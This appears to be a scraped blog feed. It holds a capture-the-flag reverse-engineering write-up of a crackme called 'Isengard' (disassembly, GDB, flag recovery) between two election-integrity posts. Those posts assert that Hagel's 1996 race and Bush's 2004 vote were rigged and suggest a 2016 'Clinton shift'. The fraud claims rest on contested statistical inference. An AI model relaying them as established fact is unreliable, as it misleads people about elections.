Both of Hagel's general elections, along with Bush's 2004 election, had markedly different patterns. They all exhibited CVS upslopes greater than 10% for the Republican, and rather than a linear or flat precinct vote share pattern, it was a noticeable upward curve for the Republican. All of these elections have reasons to be considered suspect: 1996 because of Hagel's shocking upset and AIS conflict of interest, 2002 because of Hagel's continued AIS ties and political ambitions, and 2004 because of the exit poll red shift and the fraudulent padding of the popular vote for Bush.<br />
<br />
Hagel's 1996 election has been considered one of the first electronically stolen races. However, this suspicion has mainly been based on his polling upset, conflict of interest with AIS, and suspicious ethical violations (failing to disclose his AIS ties). The fact that Hagel's elections have an irregular statistical pattern that shows up <i>only</i> in suspect Douglas County elections offers much stronger proof that Hagel's Senate race was rigged.<br />
<br />
It is worth noting that Hagel still would have won Douglas County in 1996 had the normal 10% upslope appeared. But it would have been significantly closer, about 49% to 47% for Hagel. And given the reasonable assumption that other Nebraska counties were similarly rigged in favor of Hagel, it's quite likely that his 1996 Senate victory was indeed stolen.<br />
<br />
<br />
One last interesting thing to note, although it may be nothing, is that the 1996 precinct-level results on the Douglas County elections website were initially corrupt. When I tried downloading the PDF, it wouldn't open. I had to <a href="https://drive.google.com/open?id=1tym9IExWJm3EP6o13Y_MkXC5AC_ZrVGD">email the elections department</a>, after which they gave me a working copy and fixed it on their website. Perhaps it was simply coincidence, but I found it quite odd that the results of Hagel's suspect Senate election was the one file on their site that happened to be corrupted.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-1645045780017662151.post-70495036867191576922016-10-10T20:14:00.000-03:002016-10-13T23:46:32.692-03:00HSF 2016: Isengard (re500)Isengard is a 500 point reverse engineering problem. We're given a binary to look at, but little other direction. Let's see what we can find.<br />
<br />
First, it's a good idea to try running the program:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #000000; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;">$ ./isengard
starting stub ...
.___ .___ ____
| | ______ ____ ____ _________ _______ __| _/ ___ _/_ |
| |/ ___// __ \ / \ / ___\__ \\_ __ \/ __ | \ \/ /| |
| |\___ \\ ___/| | \/ /_/ > __ \| | \/ /_/ | \ / | |
|___/____ >\___ >___| /\___ (____ /__| \____ | \_/ |___|
\/ \/ \//_____/ \/ \/
============================================================================================================
============================================================================================================
============================================================================================================
\\\\\\ They are taking the Hobbits! \\\\\\
\\\\\\ Find them and bring them back! \\\\\\
\\\\\\ https://www.youtube.com/watch?v=z9Uz1icjwrM \\\\\\
\\\\\\ Password: youshallnotpass \\\\\\
============================================================================================================
============================================================================================================
============================================================================================================
Password:
</code></pre>
<br />
There's an intro screen, a password given to us ("youshallnotpass"), and then a password prompt. If we try entering the password it tells us, the program appears to hang waiting for input. Pressing Enter enough times eventually causes it to terminate with the message "woaw".<br />
<br />
That doesn't tell us much, so let's start disassembling Isengard:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">.text:0BADCC46 main proc near ; CODE XREF: start+8 p
.text:0BADCC46
.text:0BADCC46 var_D0 = dword ptr -0D0h
.text:0BADCC46 var_CC = dword ptr -0CCh
.text:0BADCC46 var_C8 = dword ptr -0C8h
.text:0BADCC46 var_C4 = dword ptr -0C4h
.text:0BADCC46 var_C0 = dword ptr -0C0h
.text:0BADCC46 var_BC = dword ptr -0BCh
.text:0BADCC46 var_AC = dword ptr -0ACh
.text:0BADCC46 var_A8 = byte ptr -0A8h
.text:0BADCC46 var_A0 = byte ptr -0A0h
.text:0BADCC46 var_80 = dword ptr -80h
.text:0BADCC46 arg_0 = dword ptr 8
.text:0BADCC46
.text:0BADCC46 push ebp
.text:0BADCC47 mov ebp, esp
.text:0BADCC49 push edi
.text:0BADCC4A push esi
.text:0BADCC4B push ebx
.text:0BADCC4C sub esp, 0D8h
.text:0BADCC52 mov eax, dword_BAFB484
.text:0BADCC57 mov [ebp+var_AC], 0
.text:0BADCC61 push offset aStartingStub__ ; "starting stub ...\n"
.text:0BADCC66 mov [ebp+var_BC], eax
.text:0BADCC6C call sub_BADC25A
</code></pre>
<br />
main() begins by passing "starting stub ...\n" to sub_BADC25A. Since that's the first message printed when we start Isengard, we can deduce that sub_BADC25A is printf().<br />
<br />
Looking further into main(), it's not immediately apparent what's going on at first. However, the use of strings like /dev/urandom jumps out. What's happening there?<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">.text:0BADCD54 push 0
.text:0BADCD56 push offset aDevUrandom ; "/dev/urandom"
.text:0BADCD5B call sub_BADC18E
.text:0BADCD60 add esp, 10h
.text:0BADCD63 test eax, eax
.text:0BADCD65 mov edi, eax
.text:0BADCD67 js short try_random
.text:0BADCD69 lea edx, [ebp+var_A0]
.text:0BADCD6F push eax
.text:0BADCD70 push 20h
.text:0BADCD72 push edx
.text:0BADCD73 push edi
.text:0BADCD74 mov [ebp+var_C0], edx
.text:0BADCD7A call sub_BADC187
</code></pre>
<br />
Translated into pseudocode, it basically looks like:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">ret = sub_BADC18E("/dev/urandom", 0)
sub_BADC187(ret, &var_A0, 0x20)
</code></pre>
<br />
This seems like an open() followed by a read(). If we actually look into the implementations of those two subroutines, that's confirmed to be the case. Both of them set up the correct arguments and invoke int 0x80 (the Linux syscall instruction). So we've found open() and read() statically linked into Isengard.<br />
<br />
In fact, several adjacent subroutines are also statically linked POSIX calls. We can identify them using the <a href="http://syscalls.kernelgrok.com/">Linux syscall table</a> and name them, which will make later reversing easier. Having named the Unix API functions, what new insights do we gain?<br />
<br />
Near the middle of main() is a strange call to mmap():<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">.text:0BADCE77 push 0 ; int
.text:0BADCE79 push 0FFFFFFFFh ; fd
.text:0BADCE7B mov [ebp+var_D0], edx
.text:0BADCE81 or ecx, 12h
.text:0BADCE84 push ecx ; flags
.text:0BADCE85 push 7 ; prot
.text:0BADCE87 mov ecx, eax
.text:0BADCE89 mov esi, [ebx+0Ch]
.text:0BADCE8C and ecx, 0FFFh
.text:0BADCE92 and eax, 0FFFFF000h
.text:0BADCE97 lea ecx, [esi+ecx+0FFFh]
.text:0BADCE9E and ecx, 0FFFFF000h
.text:0BADCEA4 push ecx ; len
.text:0BADCEA5 push eax ; start
.text:0BADCEA6 call mmap
</code></pre>
<br />
Why is mmap() being used? Curiously, the prot value is 7, meaning that we're mapping pages that are readable, writable, and executable. It seems as if we're generating executable code on the fly to run later. For now, it's not entirely clear what role that plays. We'll come back to it later.<br />
<br />
We also know that Isengard initially asks us for a password. If we enter "youshallnotpass", as it tells us to, we go into that weird input loop where hitting Enter enough times exits the program. If we enter anything else, it prints "Integrity error. Good password ?" and quits.<br />
<br />
So entering an invalid password causes a data integrity error. That implies the password is being used to decode some kind of data. In that case, it's a good idea to see what it does with the password. Looking for references to read(), we can find the password input function as sub_BADCA35. Let's call it authenticate().<br />
<br />
authenticate() does a lot, and without context, it's hard to understand. But we can discern the key parts:<br />
<br />
<ul>
<li>The "Password: " prompt is printed in loc_BADCA72</li>
<li>Each character of the password is read in a loop starting at loc_BADCAB9</li>
<li>After the password is read, some unknown processing occurs in loc_BADCAEC and loc_BADCB5E. For whatever reason, the former has a printf(<span style="color: blue;">"Curve25519 key exchange failed !\n"</span>) call. This implies that the password is used in some kind of crypto algorithm.</li>
<li>loc_BADCB5E compares the results of this processing against a static 0x20 byte array. It prints the integrity error if they're not equal. Otherwise, the function returns normally.</li>
</ul>
<div>
Thus, authenticate() gets a password, runs it through some crypto-related operations, and compares it against a known correct value. Building off our earlier guess, it seems like authenticate() is using the password to decrypt some data. If that's the case, the code after authenticate() likely does something with that data.</div>
<div>
<br /></div>
<div>
authenticate() is called from main(). In fact, it's invoked just before the mmap() section. So mmap(), which we know is creating executable code, appears to be generating this code from the data we decrypted. What exactly happens between authenticate() and mmap()?</div>
<div>
<br /></div>
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">.text:0BADCE20 loc_BADCE20: ; CODE XREF: main+1C6 j
.text:0BADCE20 call authenticate
.text:0BADCE25 mov eax, [ebp+var_BC]
.text:0BADCE2B mov [ebp+var_C0], 0
.text:0BADCE35 mov [ebp+var_C8], 0
.text:0BADCE3F mov edx, [eax+1Ch]
.text:0BADCE42 add edx, dword_BAFB484
.text:0BADCE48 movzx eax, word ptr [eax+2Ch]
.text:0BADCE4C lea ebx, [edx+8]
.text:0BADCE4F mov [ebp+var_CC], eax
.text:0BADCE55
.text:0BADCE55 loc_BADCE55: ; CODE XREF: main+2A8 j
.text:0BADCE55 mov edi, [ebp+var_CC]
.text:0BADCE5B cmp [ebp+var_C8], edi
.text:0BADCE61 jge loc_BADCEF3
.text:0BADCE67 cmp dword ptr [ebx-8], 1
.text:0BADCE6B jnz short loc_BADCEE5
.text:0BADCE6D mov eax, [ebx]
.text:0BADCE6F push ecx
.text:0BADCE70 push ecx
.text:0BADCE71 mov ecx, ds:dword_BAFB58C
</code></pre>
<br />
mmap()'s purpose is to create a memory region, at a specific address with a specific length. When mmap() is called, EAX holds the address and ECX holds the length. Working backwards through the above code sample, we see that these values ultimately originate from var_BC. It seems like an in-memory structure is being parsed to get the mmap() parameters. What is this structure?<br />
<br />
Let's use GDB to figure that out:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #000000; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;">(gdb) b *0x0BADCE25
Breakpoint 1 at 0xbadce25
(gdb) r
Starting program: /home/user/isengard
[...REDACTED FOR BREVITY...]
Password:
Breakpoint 1, 0x0badce25 in ?? ()
(gdb) si
0x0badce2b in ?? ()
(gdb) info registers
eax 0xda8072c 229115692
ecx 0x0 0
edx 0xffffd3b8 -11336
ebx 0xffffd650 -10672
esp 0xffffd5f8 0xffffd5f8
ebp 0xffffd6d0 0xffffd6d0
esi 0xffffd628 -10712
edi 0x0 0
eip 0xbadce2b 0xbadce2b
eflags 0x286 [ PF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
(gdb) x $eax
0xda8072c: 0x464c457f
</code></pre>
<br />
Converting that value into ASCII, we get "\x7FELF". This is the magic number for an ELF file! It seems that there's an ELF file in memory, being loaded with mmap(). Isengard's purpose is hiding a real binary inside of itself.<br />
<br />
<br />
Using <a href="https://sourceware.org/gdb/onlinedocs/gdb/Dump_002fRestore-Files.html">GDB's <i>dump</i> command</a>, we can dump the ELF into a file. Running the <i>file</i> command confirms it is a valid ELF. Now we can begin reverse engineering the apparent meat of the problem:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">.text:080486E7 main proc near ; DATA XREF: start+17 o
.text:080486E7
.text:080486E7 var_10 = dword ptr -10h
.text:080486E7 var_C = dword ptr -0Ch
.text:080486E7 var_4 = dword ptr -4
.text:080486E7
.text:080486E7 lea ecx, [esp+4]
.text:080486EB and esp, 0FFFFFFF0h
.text:080486EE push dword ptr [ecx-4]
.text:080486F1 push ebp
.text:080486F2 mov ebp, esp
.text:080486F4 push ecx
.text:080486F5 sub esp, 14h
.text:080486F8 mov [ebp+var_10], 0
.text:080486FF jmp short loc_804870A
.text:08048701 ; ---------------------------------------------------------------------------
.text:08048701
.text:08048701 loc_8048701: ; CODE XREF: main+29 j
.text:08048701 call sub_804862A
.text:08048706 add [ebp+var_10], 1
.text:0804870A
.text:0804870A loc_804870A: ; CODE XREF: main+18 j
.text:0804870A mov eax, [ebp+var_10]
.text:0804870D cmp eax, 25h
.text:08048710 jbe short loc_8048701
.text:08048712 mov [ebp+var_C], 1
.text:08048719 mov [ebp+var_10], 0
.text:08048720 jmp short loc_8048753
</code></pre>
<br />
It begins by calling sub_804862A in a loop 0x26 times. sub_804862A's main section is as follows:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">.text:0804863E push 2 ; nbytes
.text:08048640 lea eax, [ebp+buf]
.text:08048643 push eax ; buf
.text:08048644 push 0 ; fd
.text:08048646 call _read
.text:0804864B add esp, 10h
.text:0804864E mov eax, ds:dword_804A510
.text:08048653 test eax, eax
.text:08048655 jnz short loc_8048660
.text:08048657 mov [ebp+var_18], 0
.text:0804865E jmp short loc_804866F
.text:08048660 ; ---------------------------------------------------------------------------
.text:08048660
.text:08048660 loc_8048660: ; CODE XREF: readchar+2B j
.text:08048660 mov eax, ds:dword_804A510
.text:08048665 mov eax, ds:dword_804A520[eax*4]
.text:0804866C mov [ebp+var_18], eax
.text:0804866F
.text:0804866F loc_804866F: ; CODE XREF: readchar+34 j
.text:0804866F sub esp, 4
.text:08048672 push 1
.text:08048674 lea eax, [ebp+buf]
.text:08048677 push eax
.text:08048678 push [ebp+var_18]
.text:0804867B call sub_804855B
.text:08048680 add esp, 10h
.text:08048683 mov [ebp+var_14], eax
.text:08048686 mov eax, ds:dword_804A510
.text:0804868B mov edx, [ebp+var_14]
.text:0804868E mov ds:dword_804A520[eax*4], edx
.text:08048695 mov eax, ds:dword_804A510
.text:0804869A add eax, 1
.text:0804869D mov ds:dword_804A510, eax
</code></pre>
<br />
Essentially, it does this:<br />
<br />
<ul>
<li>Reads 2 bytes of keyboard input into a stack buffer. (This is why, after entering "youshallnotpass" as the password, we had to hit Enter a bunch of times to quit)</li>
<li>Checks the value of dword_804A510. If it's 0, var_18 is set to 0. Otherwise, dword_804A510 is used as an index into the dword_804A520 array, and that fetched value becomes var_18.</li>
<li>Calls sub_804855B(var_18, buf, 1)</li>
<li>Uses dword_804A510 is used as an index into the dword_804A520 array, storing the return value of sub_804855B() there</li>
<li>Increments dword_804A510</li>
</ul>
<br />
We can deduce what a lot of these variables and routines are for. This overall subroutine is used to read keyboard input, process it into an int, and store it in the dword_804A520 array. Each time this subroutine is called (0x26 times in total), dword_804A510 (the index into the array) is incremented.<br />
<br />
Pseudocode representing what's going on would look like this:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"># outbuf is the dword_804A520 array
# outlen is dword_804A510
read(0, buf, 2)
var = 0
if (outlen > 0) var = outbuf[outlen]
outbuf[outlen] = sub_804855B(var, buf, 1)
outlen++
</code></pre>
<br />
Presumably, this processed keyboard input that we're collecting will be used later in main(). But we're missing two key things before we can understand this routine:<br />
<br />
<ul>
<li>What does sub_804855B() do?</li>
<li>How is outbuf[outlen] being referenced before any processed characters have been written there? When outlen=1, we're setting var to outbuf[1], but outbuf[1] is filled in with sub_804855B()'s output later.</li>
</ul>
<br />
sub_804855B() does the following:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">.text:0804855B obfuscate proc near ; CODE XREF: readchar+51 p
.text:0804855B
.text:0804855B buf = dword ptr -4
.text:0804855B key = dword ptr 8
.text:0804855B arg_4 = dword ptr 0Ch
.text:0804855B len = dword ptr 10h
.text:0804855B
.text:0804855B push ebp
.text:0804855C mov ebp, esp
.text:0804855E sub esp, 10h
.text:08048561 mov eax, [ebp+arg_4]
.text:08048564 mov [ebp+buf], eax
.text:08048567 not [ebp+key]
.text:0804856A jmp short loc_8048593
.text:0804856C ; ---------------------------------------------------------------------------
.text:0804856C
.text:0804856C loc_804856C: ; CODE XREF: obfuscate+43 j
.text:0804856C mov eax, [ebp+buf]
.text:0804856F lea edx, [eax+1]
.text:08048572 mov [ebp+buf], edx
.text:08048575 movzx eax, byte ptr [eax]
.text:08048578 movzx eax, al
.text:0804857B xor eax, [ebp+key]
.text:0804857E movzx eax, al
.text:08048581 mov eax, dword_804A060[eax*4]
.text:08048588 mov edx, [ebp+key]
.text:0804858B shr edx, 8
.text:0804858E xor eax, edx
.text:08048590 mov [ebp+key], eax
.text:08048593
.text:08048593 loc_8048593: ; CODE XREF: obfuscate+F j
.text:08048593 mov eax, [ebp+len]
.text:08048596 lea edx, [eax-1]
.text:08048599 mov [ebp+len], edx
.text:0804859C test eax, eax
.text:0804859E jnz short loc_804856C
.text:080485A0 mov eax, [ebp+key]
.text:080485A3 not eax
.text:080485A5 leave
.text:080485A6 retn
.text:080485A6 obfuscate endp
</code></pre>
<br />
key is var_18 from the calling function. buf is the buffer containing keyboard input. And len is 1. Based on that, we're only using the first character of keyboard input. Presumably, then, the second is meant to be a newline.<br />
<br />
Overall, this is a simple algorithm that processes an ASCII character into an integer. It achieves this by looking up a value in dword_804A060, which we'll call srcbuf. Pseudocode for this function will come later.<br />
<br />
We know almost everything about how individual input characters are read. But how are we using spots in outbuf that aren't yet initialized? As it happens, outbuf has a special preinit routine:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">.text:080485E6 sub_80485E6 proc near ; CODE XREF: sub_8048790+44 p
.text:080485E6 ; DATA XREF: .init_array:08049F04 o
.text:080485E6
.text:080485E6 var_8 = dword ptr -8
.text:080485E6 var_4 = dword ptr -4
.text:080485E6
.text:080485E6 push ebp
.text:080485E7 mov ebp, esp
.text:080485E9 sub esp, 10h
.text:080485EC mov [ebp+var_4], 0CAF3B33Bh
.text:080485F3 mov [ebp+var_8], 0
.text:080485FA jmp short loc_8048619
.text:080485FC ; ---------------------------------------------------------------------------
.text:080485FC
.text:080485FC loc_80485FC: ; CODE XREF: sub_80485E6+3B j
.text:080485FC mov eax, [ebp+var_8]
.text:080485FF mov eax, ds:outbuf[eax*4]
.text:08048606 xor eax, [ebp+var_4]
.text:08048609 mov edx, eax
.text:0804860B mov eax, [ebp+var_8]
.text:0804860E mov ds:outbuf[eax*4], edx
.text:08048615 add [ebp+var_8], 1
.text:08048619
.text:08048619 loc_8048619: ; CODE XREF: sub_80485E6+14 j
.text:08048619 mov eax, [ebp+var_8]
.text:0804861C cmp eax, 97h
.text:08048621 jbe short loc_80485FC
.text:08048623 mov eax, 0
.text:08048628 leave
.text:08048629 retn
.text:08048629 sub_80485E6 endp
</code></pre>
<br />
Since outbuf is filled with zeroes before its initialization, due to being in the BSS, all this does is set the first 0x97 spots to 0xCAF3B33B.<br />
<br />
Now that the character input and processing is figured out, what does main() do with outbuf?<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">.text:08048722 do_cmp: ; CODE XREF: main+72 j
.text:08048722 cmp [ebp+var_C], 0
.text:08048726 jz short not_equal
.text:08048728 mov eax, [ebp+n]
.text:0804872B mov edx, ds:outbuf[eax*4]
.text:08048732 mov eax, [ebp+n]
.text:08048735 mov eax, cmpbuf[eax*4]
.text:0804873C cmp edx, eax
.text:0804873E jnz short not_equal
.text:08048740 mov eax, 1
.text:08048745 jmp short cmp_loop
.text:08048747 ; ---------------------------------------------------------------------------
.text:08048747
.text:08048747 not_equal: ; CODE XREF: main+3F j
.text:08048747 ; main+57 j
.text:08048747 mov eax, 0
.text:0804874C
.text:0804874C cmp_loop: ; CODE XREF: main+5E j
.text:0804874C mov [ebp+var_C], eax
.text:0804874F add [ebp+n], 1
.text:08048753
.text:08048753 loc_8048753: ; CODE XREF: main+39 j
.text:08048753 mov eax, [ebp+n]
.text:08048756 cmp eax, 25h
.text:08048759 jbe short do_cmp
.text:0804875B cmp [ebp+var_C], 0
.text:0804875F jnz short great_8048773
.text:08048761 sub esp, 0Ch
.text:08048764 push offset format ; "woaw"
.text:08048769 call _printf
.text:0804876E add esp, 10h
.text:08048771 jmp short loc_8048783
.text:08048773 ; ---------------------------------------------------------------------------
.text:08048773
.text:08048773 great_8048773: ; CODE XREF: main+78 j
.text:08048773 sub esp, 0Ch
.text:08048776 push offset aGreat ; "great"
.text:0804877B call _printf
.text:08048780 add esp, 10h
</code></pre>
<br />
Pretty simple: it compares all 0x26 ints of outbuf to the corresponding ints in another array, cmpbuf. If they all match, it prints "great"; otherwise, it prints "woaw". Presumably, we want "great".<br />
<br />
All of the reverse engineering work can be transformed into a pseudocode algorithm. I wrote <a href="http://pastebin.com/Cf22F3rd">this paste</a> during the competition to serve that purpose.<br />
<br />
Reversing the algorithm to get the flag is quite simple. We just need to make this equation match for every i'th character:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">cmpbuf[i] = ~(srcbuf[(uint8_t)(ch ^ ~key)] ^ (~key >> 8))</code></pre>
<br />
Daunting as this may seem, we know the key for every single i. In fact, it's always either 0 (for the first character) or 0xCAF3B33B (for all subsequent ones). Calculating ch for every cmpbuf[i], and putting it all together, we get the solution: <span style="background-color: #f0f0f0; font-family: "arial"; font-size: 12px;">flag{oh_man_such_many_ant3_d00b00gers}</span><br />
<br />Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-1645045780017662151.post-34628724771845893042016-09-18T01:31:00.001-04:002016-10-22T00:48:10.759-03:00The Clinton ShiftWe started this blog series with the controversy over Democratic primary exit poll discrepancies. The exit polls have consistently failed to match the official results, and Hillary Clinton is nearly always the beneficiary of this shift.<br />
<br />
Mathematical analyses, most notably Richard Charnin's, find this trend statistically impossible. But this analysis is based on the belief that the exit polls are accurate, something most seasoned political analysts dispute. Clearly, though, we end up with two possibilities: a bias against Clinton in the exit polls, or an odd shift towards Clinton in the official results.<br />
<br />
Let's recap what we've covered in the last three parts. <a href="http://marionumber1.blogspot.com/2016/05/could-early-voting-explain-exit-poll.html">Part 1</a> looked at a possible reason that the exit polls would understate Clinton's margin: miscounting early/absentee voting. For some states, this hypothesis worked, but in others, it didn't. <a href="http://marionumber1.blogspot.com/2016/06/systemic-election-fraud-part-2-why-is.html">Part 2</a> explained how exit polling worked and analyzed past discrepancies. There's a pattern of exit poll discrepancies pointing to suspicious elections. <a href="http://marionumber1.blogspot.com/2016/07/election-fraud-part-3-vote-rigging-in.html">Part 3</a> looked more into our electronic voting landscape, explaining why it's inherently untrustworthy.<br />
<br />
<div>
Based on this, two things are clear. First, there are two possible causes of the "Clinton shift": an anti-Clinton polling bias that isn't early/absentee voting, or official results that are weirdly skewed towards her. Second, the history of exit polling misses and the inherent flaws in our election system make incorrect official results a legitimate possibility. Both potential causes are worth considering, without dismissing one of them as "conspiracy theory" territory.</div>
<div>
<br /></div>
<h2>
A review of exit polls</h2>
<div>
It's worth recapping <a href="http://marionumber1.blogspot.com/2016/06/systemic-election-fraud-part-2-why-is.html#Exit_polls">how exit polls are done</a> in the US. The NEP, a consortium of major media outlets, hires Edison Research to conduct the poll. A series of sample precincts, meant to represent the state, are chosen, and pollsters go out to interview voters. The interviews are done in the morning, afternoon, and right before poll closing.<br />
<br />
As the data is compiled, they weight it by demographics and turnout. Early/absentee voters are also sampled by telephone, and likely weighted similarly (the process is unclear). It's merged with the election day poll by estimating how much of the total vote is early/absentee voting.<br />
<br />
By the time polls close, most or all of the data should be in. This exit poll, called an <i>unadjusted exit poll</i>, is made available to the NEP media outlets. The media uses it to add to their election night coverage, letting them forecast winners and discuss voting trends. Some media outlets may make it public: CNN, for instance, posts it on <a href="http://www.cnn.com/election/primaries/polls">their website</a>. As votes comes in, Edison forces the exit poll to meet the official results, by shuffling around respondents until the poll matches. This is called the <i>adjusted exit poll</i>.<br />
<br />
(<b>Note:</b> The word "unadjusted" might imply that the poll is just raw survey data, without any weighting. But an unadjusted exit poll <i>has</i> been weighted by demographics and voter turnout. It only lacks the final adjustment to force it to the official results.)<br />
<br />
The unadjusted exit poll is what Charnin and others have compared to the official results. Since they're using it to assess the integrity of the results, this makes sense. Unadjusted exit polls are an alternate count of voter preferences, something to check those official results against. Forcibly adjusting the poll ruins that quality. So let's take a look at the unadjusted exit poll data for the Democratic primaries.<br />
<br />
<h2>
Democratic primary exit polls</h2>
</div>
<div>
CNN posts the unadjusted exit poll on their website right around poll closing. But as Edison adjusts it, the poll on CNN's site also changes. In New York, for example, CNN's exit poll showed Bernie Sanders behind by 4% at 9:00 PM, but the margin grew to 12% by 9:45 PM. The best way to get the unadjusted exit polls is to capture them from CNN's website as soon as the polls close.<br />
<br />
Theodore de Macedo Soares, an election integrity researcher, has done this for the 2016 primaries. <a href="http://tdmsresearch.com/2016/06/20/democratic-party-table-2016-primaries/">His compiled data</a> is what other analysts have used to compare the exit polls and official results. It covers all the primaries from New Hampshire to West Virginia. After that point, the media <a href="http://ballot-access.org/2016/05/06/tv-networks-cancel-plans-for-exit-polls-for-remaining-presidential-primaries/">cancelled the exit polls</a> in the remaining states. His table, comparing exit polls and official results, is below:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-5lx8jxf9PKc/V4UwdOhsKMI/AAAAAAAAGo0/h4mkXUMophYWSnMA6xHPl7N6EzSVJqggwCLcB/s1600/Democratic-Party-Table.-2016-Primaries-1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="474" src="https://3.bp.blogspot.com/-5lx8jxf9PKc/V4UwdOhsKMI/AAAAAAAAGo0/h4mkXUMophYWSnMA6xHPl7N6EzSVJqggwCLcB/s640/Democratic-Party-Table.-2016-Primaries-1.jpg" width="608" /></a></div>
<br />
This data shows a strong shift towards Clinton. Clinton's official lead over Sanders has nearly always been higher than what the exit polls projected. The few times the exit polls missed in Sanders' favor, the discrepancy was small, while many misses favoring Clinton were extreme (as high as 14% in Alabama). We can analyze the probability of these trends like how we analyzed the Republican <a href="http://marionumber1.blogspot.com/2016/06/systemic-election-fraud-part-2-why-is.html#Red_shifting">red shift</a>.<br />
<br />
Exit polls are not perfect, and they're subject to some sampling error. But the error should be random, affecting all candidates evenly. In the case of the Democratic primary, Clinton and Sanders should each benefit from those errors about 50% of the time. But this is decidedly not the case.<br />
<br />
